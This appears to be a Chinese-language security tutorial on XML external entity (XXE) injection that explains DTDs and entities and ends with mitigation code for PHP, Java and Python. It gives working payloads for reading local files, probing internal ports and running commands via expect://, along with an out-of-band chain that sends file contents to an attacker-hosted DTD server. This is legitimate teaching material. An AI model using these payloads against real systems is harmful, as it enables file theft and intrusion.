XXE是什么?
XXE(XML External Entity Injection) 全称为 XML 外部实体注入。XML 外部实体攻击是一种针对解析 XML 输入的应用程序的攻击。
什么是XML?
XML是可扩展标记语言(Extensible Markup Language)的缩写,它是一种数据表示格式,常用于传输和存储数据。
例如,一个XML文档可能如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note SYSTEM "book.dtd">
<key id="1">
<name>xml</name>
<author>cike_y</author>
<in lang="CN">1313</in>
<tags>
<tag>php</tag>
<tag>python</tag>
</tags>
<pubDate/>
</key>
实体是什么?
实体在 XML 文档中表示数据项的方式,XML 语言规范中内置了各种实体。(实体<和>表示字符<和>) 这些是用于表示 XML 标记的特殊字符,因此当它们出现在数据中时,必须使用它们的实体来表示。
< <
> >
& &
’ '
” "
DTD是什么?
XML文件的文档类型定义(Document Type Definition)可以看成XML文件的模板,可以定义XML文件中的元素、元素的属性、元素的排列方式、元素包含的内容等等。通常简称为DTD。
DTD文档的危害主要来源于外部DTD
外部文档DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
实体
实体用来声明DTD,通过修改XML中的内容来达到漏洞利用,这也是XXE攻击的由来的原因,常见的手法有两种:自定义内部实体和自定义外部实体
由于自定义内部实体没有任何危害性,这里只演示自定义外部实体的利用
DTD的实体声明语法如下:
<!ENTITY 实体名称 实体內容> //实体名称和实体内容均可以自定义命名
自定义外部实体
可以引用外部资源到实体中
<!DOCTYPE user[<!ENTITY xxe1 SYSTEM "file:///etc/passwd">]>
命名了一个叫xxe1的实体、根元素为user,SYSTEM的作用是获取外部资源并将其存储在xxe1实体中
<cike>&xxe1;</cike>
这里引用了一个实体名称xxe1,需要在标签里用 &实体名称; 进行引用
可以看见成功的读取到了敏感文件
攻击层面
由于自定义外部实体有着可以引用外部资源的功能,SYSTEM后面的url可以利用协议扩大攻击层面
利用这些协议可以达到和SSRF,探测内网端口(http/https),DDOS,读取任意文件(file),命令执行(expect)等一样的效果
读取文件
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///e://test.txt">
]>
<x>&xxe;</x>
内网探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xss SYSTEM "http://192.168.1.13:3306" >
]>
<x>&xss;</x>
RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
伪协议绕过-读文件
<!DOCTYPE user[<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxx.php">]>
<cike>&xxe;</cike>
外部实体 dtd的引用
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://攻击者ip/test.dtd">
%file;
]>
<x>&send;</x>
test.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
- 利用条件:看对方的服务有没有禁用外部实体引用,这也是防御XXE的一种措施。
在攻击者服务器上建立test.dtd
客户端插入payload进行访问
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://攻击者ip/test.dtd">
%file;
]>
<x>&send;</x>
可以看见成功读取到我F盘文件下的文本内容
关于DTD中引用的百分号
XML的语言规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。
无回显读取-OOB
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///F:/test.txt">
<!ENTITY % dtd SYSTEM "http://攻击者ip/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://攻击者ip/?data=%file;'>"
>
服务器读取文件到%file中,最后发送到攻击者的test.dtd中,读取内容会在攻击者的日志显现在data数据后面
find / -name access.log
查找日志
修复建议
过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。
不允许XML中含有自己定义的DTD
php语言:
libxml_disable_entity_loader(true);
java语言:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python语言:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
总结
XXE外部实体引用注入漏洞只有能引用外部资源才有效,如果禁用了就不存在漏洞,有什么不懂或者不会的都可以问我,看到我都会回复